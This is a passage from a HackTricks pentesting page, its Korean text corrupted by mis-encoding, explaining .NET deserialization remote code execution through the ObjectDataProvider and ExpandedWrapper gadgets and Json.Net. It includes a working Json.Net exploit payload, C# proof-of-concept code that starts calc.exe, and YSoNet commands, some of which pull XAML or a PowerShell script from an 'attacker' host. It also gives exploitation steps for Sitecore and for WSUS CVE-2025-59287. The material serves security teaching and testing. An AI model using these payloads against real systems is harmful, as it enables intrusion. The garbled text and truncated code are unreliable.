๊ธฐ๋ณธ .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ๊ธ์ gadget ObjectDataProvider๊ฐ ์ด๋ป๊ฒ ์ ์ฉ๋์ด RCE๋ฅผ ์ป๋์ง์ Serialization ๋ผ์ด๋ธ๋ฌ๋ฆฌ Json.Net ๋ฐ xmlSerializer๊ฐ ํด๋น gadget์ผ๋ก ์ด๋ป๊ฒ ์ ์ฉ๋ ์ ์๋์ง๋ฅผ ์ดํดํ๋ ๋ฐ ์ ๋ ํฉ๋๋ค.
ObjectDataProvider Gadget
๋ฌธ์์ ๋ฐ๋ฅด๋ฉด: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
์ค๋ช
์ด ๋ค์ ์ ๋งคํ๋, ์ด ํด๋์ค๊ฐ ์ ํฅ๋ฏธ๋ก์ด์ง ์ดํด๋ณด์: ์ด ํด๋์ค๋ **์์์ object๋ฅผ ๋ํ(wrap)**ํ๊ณ , _MethodParameters_๋ฅผ ์ฌ์ฉํด ์์์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ค์ ํ ๋ค์, MethodName์ ์ฌ์ฉํด ํด๋น ์์ ๊ฐ์ฒด์ ์์ ํจ์(์์์ ์ค์ ํ ํ๋ผ๋ฏธํฐ๋ก)๋ฅผ ํธ์ถํ ์ ์๋ค.
๋ฐ๋ผ์, ์ญ์ง๋ ฌํ๋๋ ๋์ ํด๋น ์์์ object๊ฐ parameters๋ฅผ ๊ฐ์ง ํจ์๋ฅผ ์คํํ๊ฒ ๋๋ค.
์ด๊ฑด ์ด๋ป๊ฒ ๊ฐ๋ฅํ๊ฐ
System.Windows.Data ๋ค์์คํ์ด์ค๋ PresentationFramework.dll์ C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF์ ์์นํ๋ฉฐ, ObjectDataProvider๊ฐ ์ ์๋๊ณ ๊ตฌํ๋ ๊ณณ์ด๋ค.
dnSpy๋ฅผ ์ฌ์ฉํ๋ฉด ์ฐ๋ฆฌ๊ฐ ๊ด์ฌ ์๋ ํด๋์ค์ ์ฝ๋๋ฅผ inspectํ ์ ์๋ค. ์๋ ์ด๋ฏธ์ง์์๋ PresentationFramework.dll โ> System.Windows.Data โ> ObjectDataProvider โ> Method name์ ์ฝ๋๋ฅผ ๋ณด๊ณ ์๋ค.
.png)
๋ณด์๋ค์ํผ MethodName์ด ์ค์ ๋๋ฉด base.Refresh()๊ฐ ํธ์ถ๋๋ค. ์ด๊ฒ์ด ๋ฌด์์ ํ๋์ง ์ดํด๋ณด์:
.png)
์, ๊ณ์ํด์ this.BeginQuery()๊ฐ ๋ฌด์์ ํ๋์ง ๋ณด์. BeginQuery๋ ObjectDataProvider์ ์ํด ์ค๋ฒ๋ผ์ด๋๋์ด ์์ผ๋ฉฐ ๋ค์๊ณผ ๊ฐ๋ค:
.png)
์ฝ๋ ๋๋ถ๋ถ์์ this.QueryWorke(null)๋ฅผ ํธ์ถํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค. ๊ทธ๊ฒ ๋ฌด์์ ์คํํ๋์ง ๋ณด์:
.png)
์ด๊ฒ์ QueryWorker ํจ์ ์ ์ฒด ์ฝ๋๋ ์๋์ง๋ง ํฅ๋ฏธ๋ก์ด ๋ถ๋ถ์ ๋ณด์ฌ์ค๋ค: ์ฝ๋๊ฐ this.InvokeMethodOnInstance(out ex);๋ฅผ ํธ์ถํ๋ค; ์ด ๋ผ์ธ์ด ๋ฐ๋ก ์ค์ ๋ method๊ฐ ํธ์ถ๋๋ ๋ถ๋ถ์ด๋ค.
๋ง์ฝ ๋จ์ํ _MethodName_๋ฅผ ์ค์ ํ๋ ๊ฒ๋ง์ผ๋ก ๊ทธ๊ฒ์ด ์คํ๋๋์ง ํ์ธํ๊ณ ์ถ๋ค๋ฉด, ๋ค์ ์ฝ๋๋ฅผ ์คํํด ๋ณผ ์ ์๋ค:
C# demo: ObjectDataProvider triggers Process.Start
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(โcmd.exeโ); myODP.MethodParameters.Add(โ/c calc.exeโ); myODP.MethodName = โStartโ; } } }
</details>
์ฐธ๊ณ : `System.Windows.Data`๋ฅผ ๋ก๋ํ๋ ค๋ฉด ์ฐธ์กฐ๋ก _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ ๋ฅผ ์ถ๊ฐํด์ผ ํฉ๋๋ค.
## ExpandedWrapper
์ด์ ์ต์คํ๋ก์์ ์ฌ์ฉํ ๋, ํน์ ๊ฒฝ์ฐ์๋ **๊ฐ์ฒด(object)**๊ฐ _**ObjectDataProvider**_ ์ธ์คํด์ค๋ก **์ญ์ง๋ ฌํ๋๋(deserialized as)** ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค(์: DotNetNuke vuln์์ XmlSerializer๋ฅผ ์ฌ์ฉํด ๊ฐ์ฒด๊ฐ `GetType`์ผ๋ก ์ญ์ง๋ ฌํ๋ ๊ฒฝ์ฐ). ์ด ๊ฒฝ์ฐ _ObjectDataProvider_ ์ธ์คํด์ค์ ๊ฐ์ธ์ง ๊ฐ์ฒด ํ์
(์: `Process`)์ **์ ์ ์์ต๋๋ค**. DotNetNuke vuln์ ๋ํ ์์ธํ ์ ๋ณด๋ [์ฌ๊ธฐ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)์์ ํ์ธํ ์ ์์ต๋๋ค.
์ด ํด๋์ค๋ ์ฃผ์ด์ง ์ธ์คํด์ค์ ์บก์ํ๋ ๊ฐ์ฒด๋ค์ ํ์
์ **์ง์ ํ ์ ์๊ฒ ํด์ค๋๋ค**. ๋ฐ๋ผ์ ์ด ํด๋์ค๋ ์์ค ๊ฐ์ฒด(_ObjectDataProvider_)๋ฅผ ์๋ก์ด ๊ฐ์ฒด ํ์
์ผ๋ก ์บก์ํํ๊ณ ์ฐ๋ฆฌ๊ฐ ํ์ํ ์์ฑ(_ObjectDataProvider.MethodName_ ๋ฐ _ObjectDataProvider.MethodParameters_)์ ์ ๊ณตํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
์์ ์ ์ํ ์ฌ๋ก๋ค์์ ๋งค์ฐ ์ ์ฉํ๋ฐ, _ObjectDataProvider_๋ฅผ **_ExpandedWrapper_** ์ธ์คํด์ค ์์ ๋ํํ๋ฉด ์ญ์ง๋ ฌํ๋ ๋ ์ด ํด๋์ค๊ฐ _ObjectDataProvider_ ๊ฐ์ฒด๋ฅผ **์์ฑ**ํ์ฌ _MethodName_์ ์ง์ ๋ **ํจ์(function)**๋ฅผ **์คํ**ํ๊ฒ ๋ฉ๋๋ค.
๋ค์ ์ฝ๋๋ฅผ ํตํด ์ด ๋ํผ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
<details>
<summary>C# ๋ฐ๋ชจ: ExpandedWrapper๊ฐ ObjectDataProvider๋ฅผ ์บก์ํํ๋ ์</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Json.NET์ ๊ฐ๋ ฅํ JSON serializer๋ก ๋ชจ๋ .NET ๊ฐ์ฒด๋ฅผ ์ง๋ ฌํ(Serialize)ํ๊ณ ์ญ์ง๋ ฌํ(Deserialize)ํ ์ ์๋ค. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.
Json.Net ์์
First of all lets see an example on how to ์ง๋ ฌํ/์ญ์ง๋ ฌํ an object using this library:
C# ๋ฐ๋ชจ: Json.NET ์ง๋ ฌํ/์ญ์ง๋ ฌํ
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Json.Net ์
์ฉ
[ysoserial.net](https://github.com/pwntester/ysoserial.net)์ ์ฌ์ฉํ์ฌ exploit๋ฅผ ๋ง๋ค์์ต๋๋ค:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
์ด ์ฝ๋์์๋ test the exploit๋ฅผ ์คํํด ๋ณผ ์ ์์ต๋๋ค. ๊ทธ๋ฅ ์คํํ๋ฉด calc๊ฐ ์คํ๋๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค:
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @โ{ โ$typeโ:โSystem.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35โ, โMethodNameโ:โStartโ, โMethodParametersโ:{ โ$typeโ:โSystem.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089โ, โ$valuesโ:[โcmdโ, โ/c calc.exeโ] }, โObjectInstanceโ:{โ$typeโ:โSystem.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089โ} }โ; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## ๊ณ ๊ธ .NET Gadget Chains (YSoNet & ysoserial.net)
ObjectDataProvider + ExpandedWrapper ๊ธฐ๋ฒ์ ์์์ ์๊ฐํ ๋ง์ gadget chain ์ค ํ๋์ ๋ถ๊ณผํ๋ฉฐ, ์ ํ๋ฆฌ์ผ์ด์
์ด **์์ ํ์ง ์์ .NET ์ญ์ง๋ ฌํ(unsafe .NET deserialization)** ๋ฅผ ์ํํ ๋ ์
์ฉ๋ ์ ์๋ค. ํ๋์ ๋ ๋ํ ๋๊ตฌ๋ค์ธ **[YSoNet](https://github.com/irsdl/ysonet)** (๊ตฌํ์ธ [ysoserial.net](https://github.com/pwntester/ysoserial.net) ํฌํจ)๋ ์์ญ ๊ฐ์ gadget ๋ฐ ์ง๋ ฌํ ํฌ๋งท์ ๋ํด **๋ฐ๋ก ์ฌ์ฉ ๊ฐ๋ฅํ ์
์ฑ ๊ฐ์ฒด ๊ทธ๋ํ**๋ฅผ ์๋์ผ๋ก ์์ฑํ๋ค.
์๋๋ *YSoNet*์ ํฌํจ๋ ๊ฐ์ฅ ์ ์ฉํ ์ฒด์ธ๋ค์ ๊ฐ์ถ๋ ค ์ ๋ฆฌํ ์ฐธ๊ณ ํ๋ก, ์๋ ์๋ฆฌ์ ๊ฐ๋จํ ์ค๋ช
๊ณผ ํ์ด๋ก๋ ์์ฑ ์์ ๋ช
๋ น์ ํจ๊ป ๋ณด์ฌ์ค๋ค.
| Gadget ์ฒด์ธ | ํต์ฌ ์์ด๋์ด / ํ๋ฆฌ๋ฏธํฐ๋ธ | ์ผ๋ฐ์ ์ธ ์ง๋ ฌํ๊ธฐ | YSoNet ์๋ผ์ด๋ |
|--------------|----------------------------|--------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` ๋ ์ฝ๋๋ฅผ ๋ณ์กฐํ์ฌ, ์ธ์คํด์คํ๋๋ฉด delegate๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ ์ด๋ค ๋ฉ์๋(์: `Process.Start`)๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ํ๋ค | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`๋ฅผ ์
์ฉํ์ฌ *.NET โฅ4.8 ํ์
ํํฐ๋ง์ ์ฐํ*ํ๊ณ ์ ๊ณต๋ ํด๋์ค์ **์์ฑ์**๋ฅผ ์ง์ ํธ์ถํ๊ฑฐ๋ C# ํ์ผ์ ์ฆ์์์ **์ปดํ์ผ**ํ๋ค | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`์ **๋ ๊ฑฐ์ XML** ํํ์ ์ด์ฉํด `<ColumnMapping>` / `<DataType>` ํ๋๋ฅผ ์ฑ์ ์์ ํ์
์ ์ธ์คํด์คํํ๋ค(์ ํ์ ์ผ๋ก `--spoofedAssembly`๋ก ์ด์
๋ธ๋ฆฌ๋ฅผ ์์กฐ ๊ฐ๋ฅ) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>โฆ</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF๊ฐ ํ์ฑํ๋ ๋ฐํ์(> .NET 5)์์ ํ๋กํผํฐ getter๋ฅผ ์ฐ์ํด `System.CodeDom.Compiler.CompilerResults`์ ๋๋ฌํ ๋ค, `-c`๋ก ์ ๊ณต๋ DLL์ *์ปดํ์ผ*ํ๊ฑฐ๋ *๋ก๋*ํ๋ค | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF์ `System.Windows.Data.ObjectDataProvider`๋ฅผ ์ฌ์ฉํด ์ ์ด๋ ์ธ์๋ก ์์์ ์ ์ ๋ฉ์๋๋ฅผ ํธ์ถํ๋ค. YSoNet์ ์
์ฑ XAML์ ์๊ฒฉ ํธ์คํ
ํ ์ ์๋ ํธ๋ฆฌํ `--xamlurl` ๋ณํ์ ์ถ๊ฐํ๋ค | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | PowerShell์ด ๊ฐ์ฒด๋ฅผ ์ญ์ง๋ ฌํํ ๋ ์คํ๋๋ `ScriptBlock`์ `System.Management.Automation.PSObject`์ ์ฝ์
ํ๋ค | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> ๋ชจ๋ ํ์ด๋ก๋๋ ๊ธฐ๋ณธ์ ์ผ๋ก **stdout**์ผ๋ก ์ถ๋ ฅ๋๋ฏ๋ก, ViewState ์์ฑ๊ธฐ, base64 ์ธ์ฝ๋, HTTP ํด๋ผ์ด์ธํธ ๋ฑ ๋ค๋ฅธ ๋๊ตฌ๋ก ํ์ดํํ๋ ๊ฒ์ด ๋งค์ฐ ์ฝ๋ค.
### YSoNet ๋น๋ / ์ค์น
์ฌ์ ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ๊ฐ *Actions โ Artifacts* / *Releases*์ ์๋ค๋ฉด, ๋ค์ **PowerShell** ์๋ผ์ด๋๊ฐ ๋น๋ ํ๊ฒฝ์ ์ค์ ํ๊ณ ๋ฆฌํฌ์งํ ๋ฆฌ๋ฅผ ํด๋ก ํ ๋ค Release ๋ชจ๋๋ก ๋ชจ๋ ๊ฒ์ ์ปดํ์ผํ๋ค:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
์ปดํ์ผ๋ ysonet.exe๋ ysonet/bin/Release/ ๊ฒฝ๋ก์์ ์ฐพ์ ์ ์์ต๋๋ค.
์ค์ sink: Sitecore convertToRuntimeHtml โ BinaryFormatter
์ธ์ฆ๋ Sitecore XP Content Editor ํ๋ฆ์์ ์ ๊ทผ ๊ฐ๋ฅํ ์ค์ฉ์ ์ธ .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)wrapsnew BinaryFormatter().Deserialize(...). - ํธ๋ฆฌ๊ฑฐ ๊ฒฝ๋ก: ํ์ดํ๋ผ์ธ
convertToRuntimeHtmlโConvertWebControls๋id="{iframeId}_inner"์ธ ํ์ ์์๋ฅผ ์ฐพ๊ณvalue์์ฑ์ ์ฝ์ต๋๋ค. ์ด ๊ฐ์ base64โencoded serialized data๋ก ์ฒ๋ฆฌ๋๋ฉฐ, ๊ฒฐ๊ณผ๋ string์ผ๋ก ์บ์คํธ๋์ด HTML์ ์ฝ์ ๋ฉ๋๋ค.
์ธ์ฆ๋ Sitecore sink ํธ๋ฆฌ๊ฑฐ HTTP ํ๋ฆ
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&โฆ&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=โฆ triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=โฆ
</details>
- Gadget: ๋ฌธ์์ด์ ๋ฐํํ๋ BinaryFormatter ์ฒด์ธ(์ญ์ง๋ ฌํ ๋์ ๋ถ์์ฉ์ด ์คํ๋จ). ํ์ด๋ก๋ ์์ฑ์ YSoNet/ysoserial.net ์ฐธ์กฐ.
For a full chain that starts preโauth with HTML cache poisoning in Sitecore and leads to this sink:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## ์ฌ๋ก ์ฐ๊ตฌ: WSUS unsafe .NET deserialization (CVE-2025-59287)
- ์ ํ/์ญํ : Windows Server Update Services (WSUS) ์ญํ โ Windows Server 2012 โ 2025.
- ๊ณต๊ฒฉ ํ๋ฉด: IIS์์ ํธ์คํ
๋๋ WSUS ์๋ํฌ์ธํธ(HTTP/HTTPS) TCP 8530/8531 (์ข
์ข
๋ด๋ถ์ ๋
ธ์ถ; ์ธํฐ๋ท ๋
ธ์ถ ์ ๊ณ ์ํ).
- ๊ทผ๋ณธ ์์ธ: ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฐ์ดํฐ๋ฅผ ๋ ๊ฑฐ์ formatters๋ก ์ธ์ฆ ์์ด ์ญ์ง๋ ฌํํจ:
- `GetCookie()` ์๋ํฌ์ธํธ๋ `BinaryFormatter`๋ก `AuthorizationCookie`๋ฅผ ์ญ์ง๋ ฌํํฉ๋๋ค.
- `ReportingWebService`๋ `SoapFormatter`๋ฅผ ํตํด ์์ ํ์ง ์์ ์ญ์ง๋ ฌํ๋ฅผ ์ํํฉ๋๋ค.
- ์ํฅ: ์กฐ์๋ ์ง๋ ฌํ ๊ฐ์ฒด๊ฐ ์ญ์ง๋ ฌํ ์ค gadget ์ฒด์ธ์ ํธ๋ฆฌ๊ฑฐํ์ฌ, WSUS ์๋น์ค(`wsusservice.exe`) ๋๋ IIS ์ฑ ํ `wsuspool`(`w3wp.exe`) ์ค ์ด๋ ์ชฝ์์๋ `NT AUTHORITY\SYSTEM` ๊ถํ์ผ๋ก ์์ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง๋๋ค.
Practical exploitation notes
- Discovery: TCP 8530/8531์์ WSUS๋ฅผ ์ค์บํ์ธ์. WSUS ์น ๋ฉ์๋์ ๋๋ฌํ๋ ๋ชจ๋ pre-auth ์ง๋ ฌํ๋ blob์ `BinaryFormatter`/`SoapFormatter` ํ์ด๋ก๋์ ์ ์ฌ์ sink๋ก ๊ฐ์ฃผํ์ธ์.
- Payloads: YSoNet/ysoserial.net์ ์ฌ์ฉํด `BinaryFormatter` ๋๋ `SoapFormatter` ์ฒด์ธ์ ์์ฑํ์ธ์(์: `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Expected process lineage on success:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## References
- [YSoNet โ .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net โ original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft โ CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs โ Sitecore XP cache poisoning โ RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 โ Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC โ CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD โ CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


